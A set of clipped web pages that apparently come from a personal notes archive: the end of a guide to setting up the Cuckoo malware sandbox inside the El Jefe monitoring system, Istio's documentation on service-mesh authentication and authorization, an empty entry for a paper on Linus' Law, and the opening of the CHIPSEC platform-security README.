You will also need to uncomment some lines of code to make cuckoo work:

webapp/settings.py lines 105 to 124

webapp/xmlserver/ElJefeXmlServer.py lines from 55 to 58.

webapp/home/views.py lines 44, 45, 1055, 1316 to 1334.

webapp/analysis/views.py lines 20 to 25.

webapp/templates/base\_.html remove the \{% comment %\} and \{% endcomment %\}
tags on lines 121 and 142.

Now it's time to setup the virtual machine where we are going to run and
analyze our binaries. Cuckoo supports VirtualBox, KVM and VMWare for
virtualization. We choose VMWare as our virtualization software, so the
following steps will show you how to configure Cuckoo to work with VMWare. If
you wish to use other virtualization software, follow the guidelines in the
following URL: http://docs.cuckoosandbox.org/en/latest/installation/guest/.

First, we'll need to create a new virtual machine. The preferred OS is Windows
XP, but you can use the OS of your preference. Obviously for future versions
of El Jefe we will support automatically choosing the right target VM based on
the El Jefe client's OS.

We need to install Python on the virtual machine and PIL
\(http://www.pythonware.com/products/pil/\) if we want Cuckoo to be able to
take screenshots of the binary as it runs.

Now it's time to configure the virtual machine's networking. We are going to
disable the Windows Firewall first, and then create a virtual host only
network for the guest and the host.

We are going to use the 192.168.100.0 network, the guest configuration will
be:

IP Address: 192.168.100.100

Netmask: 255.255.255.0

Gateway: 192.168.100.1

Cuckoo supports DNS resolution, so you can use 192.168.100.1 as your DNS
server. In our experience, we get better analysis results by using a public
DNS server.

And the host configuration \(for the vmnet adapter\) will be:

Ip Address: 192.168.100.1

Netmask: 255.255.255.0

You can choose whatever network and addreses you like.

Now we need to configure packet forwarding on the host machine to give the
guest machine Internet access. We can do this with the following commands \(
replacing eth0 with your outgoing interface and vboxnet0 with your virtual
interface\).

[code]

    iptables -A FORWARD -o eth0 -i vboxnet0 -s 192.168.56.0/24 -m conntrack --ctstate NEW -j ACCEPT
    iptables -A FORWARD -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
    iptables -A POSTROUTING -t nat -j MASQUERADE
    sysctl -w net.ipv4.ip_forward=1
[/code]

This concludes the networking setup. Now we need to install the cuckoo agent
on the guest, by copying agent.py, located in cuckoo/agent in the El Jefe root
folder, to the Windows Startup folder.

Now it's time to make a snapshot. Before executing a malware binary the
snapshot is reverted and then the binary is executed and analyzed.

Next, we will see how to setup the configuration files on Cuckoo.

\[cuckoo/conf/auxiliary.conf\]

Change the interface to the one you are using.

<img src='img/Temp2_4363.png' />

\[cuckoo/conf/cuckoo.conf\]

Set your db connection on the \[database\] section and the result server IP
address on the

\[resultserver\] section \(we are using 192.168.100.1\).

<img src='img/Temp2_4364.png' />

\[cuckoo/conf/reporting.conf\]

Set the mongodb settings on the \[mongodb\] section.

<img src='img/Temp2_4365.png' />

\[cuckoo/conf/vmware.conf\]

If you are going to use only one VM, you will need to modify the stuff inside
the \[cuckoo1\] section only, otherwise you will have to create one additional
section for every extra VM you wish to use.

Inside these sections you will have to set the VM path, snapshot name and IP
address of the machine \(we are using 192.168.100.100\).

<img src='img/Temp2_4367.png' />

We are done setting Cuckoo for El Jefe. Before starting El Jefe remember to
start the mongodb and postgresql services. You will also need to start the
cuckoo.py service from cuckoo/cuckoo.py in the El Jefe root folder.

So in conclusion, you should now have Cuckoo set up for yourself, integrated
into the world's most powerful open source host monitoring system, and ready
for your incident response team to use. We welcome any comments or questions,
and of course are ready to help you if you have problems.

David Arch

# Secure Open Source Collaboration: An Empirical Study of Linus’ Law

**Created:**| _12/13/2009 9:30:37 PM_  
---|---  
**Updated:**| _12/13/2009 9:31:23 PM_  
**Author:**| __  
**Tags:**| _statistics programming Threat-modeling security metrics workflow-
strategies_  
  
<img src='img/Temp2_7285' />

# Security

**Created:**| _1/2/2019 6:41:39 PM_  
---|---  
**Updated:**| _1/2/2019 6:41:39 PM_  
**Author:**| __  
**Tags:**| __  
  

  

__

 __ Concepts

# Security

* * *
  * High-level architecture
  * Istio identity
    * Istio security vs SPIFFE
  * PKI
    * Kubernetes scenario
    * on-premises machines scenario
    * Node Agent in Kubernetes \(in development\)
  * Best practices
    * Deployment guidelines
    * Example
  * Authentication
    * Mutual TLS authentication
      * Secure naming
    * Authentication architecture
    * Authentication policies
      * Policy storage scope
      * Target selectors
      * Transport authentication
      * Origin authentication
      * Principal binding
    * Updating authentication policies
  * Authorization
    * Authorization architecture
    * Enabling authorization
    * Authorization policy
      * `ServiceRole`
      * `ServiceRoleBinding`
    * Using other authorization mechanisms
  * See also

* * *
Breaking down a monolithic application into atomic services offers various
benefits, including better agility, better scalability and better ability to
reuse services. However, microservices also have particular security needs:

  * To defend against the man-in-the-middle attack, they need traffic encryption.
  * To provide flexible service access control, they need mutual TLS and fine-grained access policies.
  * To audit who did what at what time, they need auditing tools.

Istio Security tries to provide a comprehensive security solution to solve all
these issues.

This page gives an overview on how you can use Istio security features to
secure your services, wherever you run them. In particular, Istio security
mitigates both insider and external threats against your data, endpoints,
communication and platform.

<img src='img/Temp2_7310.png' width='1020' height='574' />

Istio Security Overview

The Istio security features provide strong identity, powerful policy,
transparent TLS encryption, and authentication, authorization and audit
\(AAA\) tools to protect your services and data. The goals of Istio security
are:

  * **Security by default** : no changes needed for application code and infrastructure
  * **Defense in depth** : integrate with existing security systems to provide multiple layers of defense
  * **Zero-trust network** : build security solutions on untrusted networks

Visit our Mutual TLS Migration docs to start using Istio security features
with your deployed services. Visit our Security Tasks for detailed
instructions to use the security features.

##  High-level architecture __

Security in Istio involves multiple components:

  * **Citadel** for key and certificate management
  * **Sidecar and perimeter proxies** to implement secure communication between clients and servers
  * **Pilot** to distribute authentication policies and secure naming information to the proxies
  * **Mixer** to manage authorization and auditing

<img src='img/Temp2_7314.png' width='1020' height='574' />

Istio Security Architecture

In the following sections, we introduce the Istio security features in detail.

##  Istio identity __

Identity is a fundamental concept of any security infrastructure. At the
beginning of a service-to-service communication, the two parties must exchange
credentials with their identity information for mutual authentication
purposes. On the client side, the server’s identity is checked against the
secure naming information to see if it is an authorized runner of the service.
On the server side, the server can determine what information the client can
access based on the authorization policies, audit who accessed what at what
time, charge clients based on the services they used, and reject any clients
who failed to pay their bill from accessing the services.

In the Istio identity model, Istio uses the first-class service identity to
determine the identity of a service. This gives great flexibility and
granularity to represent a human user, an individual service, or a group of
services. On platforms that do not have such identity available, Istio can use
other identities that can group service instances, such as service names.

Istio service identities on different platforms:

  * **Kubernetes** : Kubernetes service account
  * **GKE/GCE** : may use GCP service account
  * **GCP** : GCP service account
  * **AWS** : AWS IAM user/role account
  * **On-premises \(non-Kubernetes\)** : user account, custom service account, service name, istio service account, or GCP service account. The custom service account refers to the existing service account just like the identities that the customer’s Identity Directory manages.

### Istio security vs SPIFFE __

The SPIFFE standard provides a specification for a framework capable of
bootstrapping and issuing identities to services across heterogeneous
environments.

Istio and SPIFFE share the same identity document: SVID \(SPIFFE Verifiable
Identity Document\). For example, in Kubernetes, the X.509 certificate has the
URI field in the format of
“spiffe://<domain>/ns/<namespace>/sa/<serviceaccount>”. This enables Istio
services to establish and accept connections with other SPIFFE-compliant
systems.

Istio security and SPIRE, which is the implementation of SPIFFE, differ in the
PKI implementation details. Istio provides a more comprehensive security
solution, including authentication, authorization, and auditing.

##  PKI __

The Istio PKI is built on top of Istio Citadel and securely provisions strong
workload identities to every workload. Istio uses X.509 certificates to carry
the identities in SPIFFE format. The PKI also automates the key & certificate
rotation at scale.

Istio supports services running on both Kubernetes pods and on-premises
machines. Currently we use different certificate key provisioning mechanisms
for each scenario.

### Kubernetes scenario __

  1. Citadel watches the Kubernetes `apiserver`, creates a SPIFFE certificate and key pair for each of the existing and new service accounts. Citadel stores the certificate and key pairs as Kubernetes secrets.
  2. When you create a pod, Kubernetes mounts the certificate and key pair to the pod according to its service account via Kubernetes secret volume.
  3. Citadel watches the lifetime of each certificate, and automatically rotates the certificates by rewriting the Kubernetes secrets.
  4. Pilot generates the secure naming information, which defines what service account or accounts can run a certain service. Pilot then passes the secure naming information to the sidecar Envoy.

### on-premises machines scenario __

  1. Citadel creates a gRPC service to take Certificate Signing Requests \(CSRs\).
  2. Node agent generates a private key and CSR, and sends the CSR with its credentials to Citadel for signing.
  3. Citadel validates the credentials carried with the CSR, and signs the CSR to generate the certificate.
  4. The node agent sends both, the certificate received from Citadel and the private key, to Envoy.
  5. The above CSR process repeats periodically for certificate and key rotation.

### Node Agent in Kubernetes \(in development\)__

In the near future, Istio will use node agent in Kubernetes for certificate
and key provision, as shown in the figure below. Note that the identity
provision flow for on-premises machines is the same so we only describe the
Kubernetes scenario.

<img src='img/Temp2_7309.png' width='1020' height='574' />

PKI with node agents in Kubernetes

The flow goes as follows:

  1. Citadel creates a gRPC service to take CSR requests.
  2. Envoy sends a certificate and key request via Envoy secret discovery service \(SDS\) API.
  3. Upon receiving the SDS request, node agent creates the private key and CSR, and sends the CSR with its credentials to Citadel for signing.
  4. Citadel validates the credentials carried in the CSR, and signs the CSR to generate the certificate.
  5. The node agent sends the certificate received from Citadel and the private key to Envoy, via the Envoy SDS API.
  6. The above CSR process repeats periodically for certificate and key rotation.

##  Best practices __

In this section, we provide a few deployment guidelines and discuss a real-
world scenario.

### Deployment guidelines __

If there are multiple service operators \(a.k.a. SREs\) deploying different
services in a medium- or large-size cluster, we recommend creating a separate
Kubernetes namespace for each SRE team to isolate their access. For example,
you can create a `team1-ns` namespace for `team1`, and `team2-ns` namespace
for `team2`, such that both teams cannot access each other’s services.

> <img src='img/Temp2_7313.png' width='32' height='32' /> If Citadel is
> compromised, all its managed keys and certificates in the cluster may be
> exposed. We **strongly** recommend running Citadel in a dedicated namespace
> \(for example, `istio-citadel-ns`\), to restrict access to the cluster to
> only administrators.
### Example __

Let us consider a three-tier application with three services: `photo-
frontend`, `photo-backend`, and `datastore`. The photo SRE team manages the
`photo-frontend` and `photo-backend` services while the datastore SRE team
manages the `datastore` service. The `photo-frontend` service can access
`photo-backend`, and the `photo-backend` service can access `datastore`.
However, the `photo-frontend` service cannot access `datastore`.

In this scenario, a cluster administrator creates three namespaces: `istio-
citadel-ns`, `photo-ns`, and `datastore-ns`. The administrator has access to
all namespaces and each team only has access to its own namespace. The photo
SRE team creates two service accounts to run `photo-frontend` and `photo-
backend` respectively in the `photo-ns` namespace. The datastore SRE team
creates one service account to run the `datastore` service in the `datastore-
ns` namespace. Moreover, we need to enforce the service access control in
Istio Mixer such that `photo-frontend` cannot access datastore.

In this setup, Kubernetes can isolate the operator privileges on managing the
services. Istio manages certificates and keys in all namespaces and enforces
different access control rules to the services.

##  Authentication __

Istio provides two types of authentication:

  * **Transport authentication** , also known as **service-to-service authentication** : verifies the direct client making the connection. Istio offers mutual TLS as a full stack solution for transport authentication. You can easily turn on this feature without requiring service code changes. This solution:
    * Provides each service with a strong identity representing its role to enable interoperability across clusters and clouds.
    * Secures service-to-service communication and end-user-to-service communication.
    * Provides a key management system to automate key and certificate generation, distribution, and rotation.
  * **Origin authentication** , also known as **end-user authentication** : verifies the original client making the request as an end-user or device. Istio enables request-level authentication with JSON Web Token \(JWT\) validation and a streamlined developer experience for Auth0, Firebase Auth, Google Auth, and custom auth.

In both cases, Istio stores the authentication policies in the `Istio config
store` via a custom Kubernetes API. Pilot keeps them up-to-date for each
proxy, along with the keys where appropriate. Additionally, Istio supports
authentication in permissive mode to help you understand how a policy change
can affect your security posture before it becomes effective.

### Mutual TLS authentication __

Istio tunnels service-to-service communication through the client side and
server side Envoy proxies. For a client to call a server, the steps followed
are:

  1. Istio re-routes the outbound traffic from a client to the client’s local sidecar Envoy.
  2. The client side Envoy starts a mutual TLS handshake with the server side Envoy. During the handshake, the client side Envoy also does a secure naming check to verify that the service account presented in the server certificate is authorized to run the target service.
  3. The client side Envoy and the server side Envoy establish a mutual TLS connection, and Istio forwards the traffic from the client side Envoy to the server side Envoy.
  4. After authorization, the server side Envoy forwards the traffic to the server service through local TCP connections.

#### Secure naming __

The secure naming information contains _N-to-N_ mappings from the server
identities, which are encoded in certificates, to the service names that are
referred by discovery service or DNS. A mapping from identity `A` to service
name `B` means “`A` is allowed and authorized to run service `B`”. Pilot
watches the Kubernetes `apiserver`, generates the secure naming information,
and distributes it securely to the sidecar Envoys. The following example
explains why secure naming is critical in authentication.

Suppose the legitimate servers that run the service `datastore` only use the
`infra-team` identity. A malicious user has certificate and key for the `test-
team` identity. The malicious user intends to impersonate the service to
inspect the data sent from the clients. The malicious user deploys a forged
server with the certificate and key for the `test-team` identity. Suppose the
malicious user successfully hacked the discovery service or DNS to map the
`datastore` service name to the forged server.

When a client calls the `datastore` service, it extracts the `test-team`
identity from the server’s certificate, and checks whether `test-team` is
allowed to run `datastore` with the secure naming information. The client
detects that `test-team` is **not** allowed to run the `datastore` service and
the authentication fails.

### Authentication architecture __

You can specify authentication requirements for services receiving requests in
an Istio mesh using authentication policies. The mesh operator uses `.yaml`
files to specify the policies. The policies are saved in the Istio
configuration storage once deployed. Pilot, the Istio controller, watches the
configuration storage. Upon any policy changes, Pilot translates the new
policy to the appropriate configuration telling the Envoy sidecar proxy how to
perform the required authentication mechanisms. Pilot may fetch the public key
and attach it to the configuration for JWT validation. Alternatively, Pilot
provides the path to the keys and certificates the Istio system manages and
installs them to the application pod for mutual TLS. You can find more info in
the PKI section. Istio sends configurations to the targeted endpoints
asynchronously. Once the proxy receives the configuration, the new
authentication requirement takes effect immediately on that pod.

Client services, those that send requests, are responsible for following the
necessary authentication mechanism. For origin authentication \(JWT\), the
application is responsible for acquiring and attaching the JWT credential to
the request. For mutual TLS, Istio provides a destination rule. The operator
can use the destination rule to instruct client proxies to make initial
connections using TLS with the certificates expected on the server side. You
can find out more about how mutual TLS works in Istio in PKI and identity
section.

<img src='img/Temp2_7312.png' width='761' height='511' />

Authentication Architecture

Istio outputs identities with both types of authentication, as well as other
claims in the credential if applicable, to the next layer: authorization.
Additionally, operators can specify which identity, either from transport or
origin authentication, should Istio use as ‘the principal’.

### Authentication policies __

This section provides more details about how Istio authentication policies
work. As you’ll remember from the Architecture section, authentication
policies apply to requests that a service **receives**. To specify client-side
authentication rules in mutual TLS, you need to specify the `TLSSettings` in
the `DestinationRule`. You can find more information in our TLS settings
reference docs. Like other Istio configuration, you can specify authentication
policies in `.yaml` files. You deploy policies using `kubectl`.

The following example authentication policy specifies that transport
authentication for the `reviews` service must use mutual TLS:

[code]

    apiVersion: "authentication.istio.io/v1alpha1"
    kind: "Policy"
    metadata:
      name: "reviews"
    spec:
      targets:
      - name: reviews
      peers:
      - mtls: {}
[/code]

#### Policy storage scope __

Istio can store authentication policies in namespace-scope or mesh-scope
storage:

  * Mesh-scope policy is specified with a value of `"MeshPolicy"` for the `kind` field and the name `"default"`. For example:
[code]    apiVersion: "authentication.istio.io/v1alpha1"

    kind: "MeshPolicy"
    metadata:
      name: "default"
    spec:
      peers:
      - mtls: {}
[/code]

  * Namespace-scope policy is specified with a value of `"Policy"` for the `kind` field and a specified namespace. If unspecified, the default namespace is used. For example for namespace `ns1`:
[code]    apiVersion: "authentication.istio.io/v1alpha1"

    kind: "Policy"
    metadata:
      name: "default"
      namespace: "ns1"
    spec:
      peers:
      - mtls: {}
[/code]

Policies in the namespace-scope storage can only affect services in the same
namespace. Policies in mesh-scope can affect all services in the mesh. To
prevent conflict and misuse, only one policy can be defined in mesh-scope
storage. That policy must be named `default` and have an empty `targets:`
section. You can find more information on our target selectors section.

Kubernetes currently implements the Istio configuration on Custom Resource
Definitions \(CRDs\). These CRDs correspond to namespace-scope and cluster-
scope `CRDs` and automatically inherit access protection via the Kubernetes
RBAC. You can read more on the Kubernetes CRD documentation

#### Target selectors __

An authentication policy’s targets specify the service or services to which
the policy applies. The following example shows a `targets:` section
specifying that the policy applies to:

  * The `product-page` service on any port.
  * The reviews service on port `9000`.

[code]

    targets:
     - name: product-page
     - name: reviews
       ports:
       - number: 9000
[/code]

If you don’t provide a `targets:` section, Istio matches the policy to all
services in the storage scope of the policy. Thus, the `targets:` section can
help you specify the scope of the policies:

  * Mesh-wide policy: A policy defined in the mesh-scope storage with no target selector section. There can be at most **one** mesh-wide policy **in the mesh**.
  * Namespace-wide policy: A policy defined in the namespace-scope storage with name `default` and no target selector section. There can be at most **one** namespace-wide policy **per namespace**.
  * Service-specific policy: a policy defined in the namespace-scope storage, with non-empty target selector section. A namespace can have **zero, one, or many** service-specific policies.

For each service, Istio applies the narrowest matching policy. The order is:
**service-specific > namespace-wide > mesh-wide**. If more than one service-
specific policy matches a service, Istio selects one of them at random.
Operators must avoid such conflicts when configuring their policies.

To enforce uniqueness for mesh-wide and namespace-wide policies, Istio accepts
only one authentication policy per mesh and one authentication policy per
namespace. Istio also requires mesh-wide and namespace-wide policies to have
the specific name `default`.

#### Transport authentication __

The `peers:` section defines the authentication methods and associated
parameters supported for transport authentication in a policy. The section can
list more than one method and only one method must be satisfied for the
authentication to pass. However, as of the Istio 0.7 release, the only
transport authentication method currently supported is mutual TLS. If you do
not need transport authentication, skip this section entirely.

The following example shows the `peers:` section enabling transport
authentication using mutual TLS.

[code]

    peers:
      - mtls: {}
[/code]

Currently, the mutual TLS setting doesn’t require any parameters. Hence,
`-mtls: {}`, `- mtls:` or `- mtls: null` declarations are treated the same. In
the future, the mutual TLS setting may carry arguments to provide different
mutual TLS implementations.

#### Origin authentication __

The `origins:` section defines authentication methods and associated
parameters supported for origin authentication. Istio only supports JWT origin
authentication. However, a policy can list multiple JWTs by different issuers.
Similar to peer authentication, only one of the listed methods must be
satisfied for the authentication to pass.

The following example policy specifies an `origins:` section for origin
authentication that accepts JWTs issued by Google:

[code]

    origins:
    - jwt:
        issuer: "https://accounts.google.com"
        jwksUri: "https://www.googleapis.com/oauth2/v3/certs"
[/code]

#### Principal binding __

The principal binding key-value pair defines the principal authentication for
a policy. By default, Istio uses the authentication configured in the `peers:`
section. If no authentication is configured in the `peers:` section, Istio
leaves the authentication unset. Policy writers can overwrite this behavior
with the `USE_ORIGIN` value. This value configures Istio to use the origin’s
authentication as the principal authentication instead. In future, we will
support conditional binding, for example: `USE_PEER` when peer is X, otherwise
`USE_ORIGIN`.

The following example shows the `principalBinding` key with a value of
`USE_ORIGIN`:

[code]

    principalBinding: USE_ORIGIN
[/code]

### Updating authentication policies __

You can change an authentication policy at any time and Istio pushes the
change to the endpoints almost in real time. However, Istio cannot guarantee
that all endpoints receive a new policy at the same time. The following are
recommendations to avoid disruption when updating your authentication
policies:

  * To enable or disable mutual TLS: Use a temporary policy with a `mode:` key and a `PERMISSIVE` value. This configures receiving services to accept both types of traffic: plain text and TLS. Thus, no request is dropped. Once all clients switch to the expected protocol, with or without mutual TLS, you can replace the `PERMISSIVE` policy with the final policy. For more information, visit the Mutual TLS Migration tutorial.

[code]

    peers:
    - mTLS:
        mode: PERMISSIVE
[/code]

  * For JWT authentication migration: requests should contain new JWT before changing policy. Once the server side has completely switched to the new policy, the old JWT, if there is any, can be removed. Client applications need to be changed for these changes to work.

##  Authorization __

Istio’s authorization feature - also known as Role-based Access Control
\(RBAC\) \- provides namespace-level, service-level, and method-level access
control for services in an Istio Mesh. It features:

  * **Role-Based semantics** , which are simple and easy to use.
  * **Service-to-service and end-user-to-service authorization**.
  * **Flexibility through custom properties support** , for example conditions, in roles and role-bindings.
  * **High performance** , as Istio authorization is enforced natively on Envoy.

### Authorization architecture __

<img src='img/Temp2_7311.png' width='1149' height='647' />

Istio Authorization Architecture

The above diagram shows the basic Istio authorization architecture. Operators
specify Istio authorization policies using `.yaml` files. Once deployed, Istio
saves the policies in the `Istio Config Store`.

Pilot watches for changes to Istio authorization policies. It fetches the
updated authorization policies if it sees any changes. Pilot distributes Istio
authorization policies to the Envoy proxies that are co-located with the
service instances.

Each Envoy proxy runs an authorization engine that authorizes requests at
runtime. When a request comes to the proxy, the authorization engine evaluates
the request context against the current authorization policies, and returns
the authorization result, `ALLOW` or `DENY`.

### Enabling authorization __

You enable Istio Authorization using a `RbacConfig` object. The `RbacConfig`
object is a mesh-wide singleton with a fixed name value of `default`. You can
only use one `RbacConfig` instance in the mesh. Like other Istio configuration
objects, `RbacConfig` is defined as a Kubernetes `CustomResourceDefinition`
\(CRD\) object.

In the `RbacConfig` object, the operator can specify a `mode` value, which can
be:

  * **`OFF`** : Istio authorization is disabled.
  * **`ON`** : Istio authorization is enabled for all services in the mesh.
  * **`ON_WITH_INCLUSION`** : Istio authorization is enabled only for services and namespaces specified in the `inclusion` field.
  * **`ON_WITH_EXCLUSION`** : Istio authorization is enabled for all services in the mesh except the services and namespaces specified in the `exclusion` field.

In the following example, Istio authorization is enabled for the `default`
namespace.

[code]

    apiVersion: "rbac.istio.io/v1alpha1"
    kind: RbacConfig
    metadata:
      name: default
    spec:
      mode: 'ON_WITH_INCLUSION'
      inclusion:
        namespaces: ["default"]
[/code]

### Authorization policy __

To configure an Istio authorization policy, you specify a `ServiceRole` and
`ServiceRoleBinding`. Like other Istio configuration objects, they are defined
as Kubernetes `CustomResourceDefinition` \(CRD\) objects.

  * **`ServiceRole`** defines a group of permissions to access services.
  * **`ServiceRoleBinding`** grants a `ServiceRole` to particular subjects, such as a user, a group, or a service.

The combination of `ServiceRole` and `ServiceRoleBinding` specifies: **who**
is allowed to do **what** under **which conditions**. Specifically:

  * **who** refers to the `subjects` section in `ServiceRoleBinding`.
  * **what** refers to the `permissions` section in `ServiceRole`.
  * **which conditions** refers to the `conditions` section you can specify with the Istio attributes in either `ServiceRole` or `ServiceRoleBinding`.

#### `ServiceRole` __

A `ServiceRole` specification includes a list of `rules`, AKA permissions.
Each rule has the following standard fields:

  * **`services`** : A list of service names. You can set the value to `*` to include all services in the specified namespace.
  * **`methods`** : A list of HTTP method names, for permissions on gRPC requests, the HTTP verb is always `POST`. You can set the value to `*` to include all HTTP methods.
  * **`paths`** : HTTP paths or gRPC methods. The gRPC methods must be in the form of `/packageName.serviceName/methodName` and are case sensitive.

A `ServiceRole` specification only applies to the namespace specified in the
`metadata` section. The `services` and `methods` fields are required in a
rule. `paths` is optional. If a rule is not specified or if it is set to `*`,
it applies to any instance.

The example below shows a simple role: `service-admin`, which has full access
to all services in the `default` namespace.

[code]

    apiVersion: "rbac.istio.io/v1alpha1"
    kind: ServiceRole
    metadata:
      name: service-admin
      namespace: default
    spec:
      rules:
      - services: ["*"]
        methods: ["*"]
[/code]

Here is another role: `products-viewer`, which has read, `"GET"` and `"HEAD"`,
access to the service `products.default.svc.cluster.local` in the `default`
namespace.

[code]

    apiVersion: "rbac.istio.io/v1alpha1"
    kind: ServiceRole
    metadata:
      name: products-viewer
      namespace: default
    spec:
      rules:
      - services: ["products.default.svc.cluster.local"]
        methods: ["GET", "HEAD"]
[/code]

In addition, we support prefix matching and suffix matching for all the fields
in a rule. For example, you can define a `tester` role with the following
permissions in the `default` namespace:

  * Full access to all services with prefix `"test-*"`, for example: `test-bookstore`, `test-performance`, `test-api.default.svc.cluster.local`.
  * Read \(`"GET"`\) access to all paths with `"*/reviews"` suffix, for example: `/books/reviews`, `/events/booksale/reviews`, `/reviews` in service `bookstore.default.svc.cluster.local`.

[code]

    apiVersion: "rbac.istio.io/v1alpha1"
    kind: ServiceRole
    metadata:
      name: tester
      namespace: default
    spec:
      rules:
      - services: ["test-*"]
        methods: ["*"]
      - services: ["bookstore.default.svc.cluster.local"]
        paths: ["*/reviews"]
        methods: ["GET"]
[/code]

In a `ServiceRole`, the combination of `namespace` \+ `services` \+ `paths` \+
`methods` defines **how a service or services are accessed**. In some
situations, you may need to specify additional conditions for your rules. For
example, a rule may only apply to a certain **version** of a service, or only
apply to services with a specific **label** , like `"foo"`. You can easily
specify these conditions using `constraints`.

For example, the following `ServiceRole` definition adds a constraint that
`request.headers[version]` is either `"v1"` or `"v2"` extending the previous
`products-viewer` role. The supported `key` values of a constraint are listed
in the constraints and properties page. In the case that the attribute is a
`map`, for example `request.headers`, the `key` is an entry in the map, for
example `request.headers[version]`.

[code]

    apiVersion: "rbac.istio.io/v1alpha1"
    kind: ServiceRole
    metadata:
      name: products-viewer-version
      namespace: default
    spec:
      rules:
      - services: ["products.default.svc.cluster.local"]
        methods: ["GET", "HEAD"]
        constraints:
        - key: request.headers[version]
          values: ["v1", "v2"]
[/code]

#### `ServiceRoleBinding` __

A `ServiceRoleBinding` specification includes two parts:

  * **`roleRef`** refers to a `ServiceRole` resource in the same namespace.
  * A list of **`subjects`** that are assigned to the role.

You can either explicitly specify a _subject_ with a `user` or with a set of
`properties`. A _property_ in a `ServiceRoleBinding` _subject_ is similar to a
_constraint_ in a `ServiceRole` specification. A _property_ also lets you use
conditions to specify a set of accounts assigned to this role. It contains a
`key` and its allowed _values_. The supported `key` values of a constraint are
listed in the constraints and properties page.

The following example shows a `ServiceRoleBinding` named `test-binding-
products`, which binds two subjects to the `ServiceRole` named `"product-
viewer"` and has the following `subjects`

  * A service account representing service **a** , `"service-account-a"`.
  * A service account representing the Ingress service `"istio-ingress-service-account"` **and** where the JWT `email` claim is `"a@foo.com"`.

[code]

    apiVersion: "rbac.istio.io/v1alpha1"
    kind: ServiceRoleBinding
    metadata:
      name: test-binding-products
      namespace: default
    spec:
      subjects:
      - user: "service-account-a"
      - user: "istio-ingress-service-account"
        properties:
          request.auth.claims[email]: "a@foo.com"
      roleRef:
        kind: ServiceRole
        name: "products-viewer"
[/code]

In case you want to make a service publicly accessible, you can set the
`subject` to `user: "*"`. This value assigns the `ServiceRole` to **all \(both
authenticated and unauthenticated\)** users and services, for example:

[code]

    apiVersion: "rbac.istio.io/v1alpha1"
    kind: ServiceRoleBinding
    metadata:
      name: binding-products-allusers
      namespace: default
    spec:
      subjects:
      - user: "*"
      roleRef:
        kind: ServiceRole
        name: "products-viewer"
[/code]

To assign the `ServiceRole` to only **authenticated** users and services, use
`source.principal: "*"` instead, for example:

[code]

    apiVersion: "rbac.istio.io/v1alpha1"
    kind: ServiceRoleBinding
    metadata:
      name: binding-products-all-authenticated-users
      namespace: default
    spec:
      subjects:
      - properties:
          source.principal: "*"
      roleRef:
        kind: ServiceRole
        name: "products-viewer"
[/code]

### Using other authorization mechanisms __

While we strongly recommend using the Istio authorization mechanisms, Istio is
flexible enough to allow you to plug in your own authentication and
authorization mechanisms via the Mixer component. To use and configure plugins
in Mixer, visit our policies and telemetry adapters docs.

##  See also __

Authorization

Shows how to set up role-based access control for services in the mesh.

Micro-Segmentation with Istio Authorization

Describe Istio's authorization feature and how to use it in various use cases.

Authentication Policy

Shows you how to use Istio authentication policy to setup mutual TLS and basic
end-user authentication.

Debugging Authorization

Demonstrates how to debug authorization.

Mutual TLS Migration

Shows you how to incrementally migrate your Istio services to mutual TLS.

Plugging in external CA key and certificate

Shows how operators can configure Citadel with existing root certificate,
signing certificate and key.

  

__ Traffic Management

Policies and Telemetry __

##  Links

  1. https://istio.io/docs/concepts/
  2. https://istio.io/docs/tasks/security/mtls-migration/
  3. https://istio.io/docs/tasks/security/
  4. https://spiffe.io/
  5. https://github.com/spiffe/spiffe/blob/master/standards/SPIFFE-ID.md
  6. https://spiffe.io/spire/
  7. https://kubernetes.io/docs/concepts/configuration/secret/
  8. https://en.wikipedia.org/wiki/Certificate\_signing\_request
  9. https://en.wikipedia.org/wiki/Site\_reliability\_engineering
  10. https://kubernetes.io/docs/tasks/administer-cluster/namespaces-walkthrough/
  11. https://istio.io/docs/concepts/policies-and-telemetry/
  12. https://en.wikipedia.org/wiki/Mutual\_authentication
  13. https://auth0.com/
  14. https://firebase.google.com/docs/auth/
  15. https://developers.google.com/identity/protocols/OpenIDConnect
  16. https://envoyproxy.github.io/envoy/
  17. https://istio.io/docs/concepts/security/mutual-tls/
  18. https://istio.io/docs/tasks/security/mtls-migration
  19. https://kubernetes.io/docs/concepts/extend-kubernetes/api-extension/custom-resources/
  20. https://istio.io/docs/reference/config/policy-and-telemetry/attribute-vocabulary/
  21. https://istio.io/docs/reference/config/authorization/constraints-and-properties/
  22. https://istio.io/docs/tasks/security/role-based-access-control/
  23. https://istio.io/blog/2018/istio-authorization/
  24. https://istio.io/docs/tasks/security/authn-policy/
  25. https://istio.io/help/ops/security/debugging-authorization/
  26. https://istio.io/docs/tasks/security/plugin-ca-cert/

# chipsec/chipsec · GitHub

**Created:**| _3/13/2014 9:39:37 PM_  
---|---  
**Updated:**| _3/13/2014 9:39:37 PM_  
**Author:**| __  
**Tags:**| _security auditing_  
  

# 1\. Description

CHIPSEC: Platform Security Assessment Framework

CHIPSEC is a framework for analyzing security of PC platforms including
hardware, system firmware including BIOS/UEFI and the configuration of
platform components. It allows creating security test suite, security
assessment tools for various low level components and interfaces as well as
forensic capabilities for firmware

CHIPSEC can run on any of these environments:

  1. Windows \(client and server\)
  2. Linux
  3. UEFI Shell

NOTE: This software is for security testing purposes. Use at your own risk.

#  2\. Installation

CHIPSEC supports Windows, Linux, and UEFI shell. Circumstances surrounding the
target platform may change which of these environments is most appropriate.
When running CHIPSEC as part of a corporate IT management infrastructure,
Windows may be preferred. However, sometimes it may be preferable to assess
the platform security without interfering with the normal operating system. In
these instances, CHIPSEC may be run from a bootable USB thumb drive - either a
Live Linux image or a UEFI shell.

##  Windows

Supports the following client versions: Windows 8 x86 and AMD64 Windows 7 x86
and AMD64 Windows XP \(support discontinued\)

Supports the following server versions: Windows Server 2012 x86 and AMD64
Windows Server 2008 x86 and AMD64

  1. Install Python \(http://www.python.org/download/\)
     * Tested on 2.7.x and Python 2.6.x
     * E.g. Python 2.7.6 \(http://www.python.org/download/releases/2.7.6/\)
  2. Install additional packages for installed Python release \(in any order\)
     * \(REQUIRED\) pywin32: for Windows API support \(http://sourceforge.net/projects/pywin32/\)
     * \(OPTIONAL\) WConio : if you need colored console output \(http://newcenturycomputers.net/projects/wconio.html\)
     * \(OPTIONAL\) py2exe : if you need to build chipsec executables \(http://www.py2exe.org/\) Note: packages have to match Python platform \(e.g. AMD64 package on Python AMD64\) 
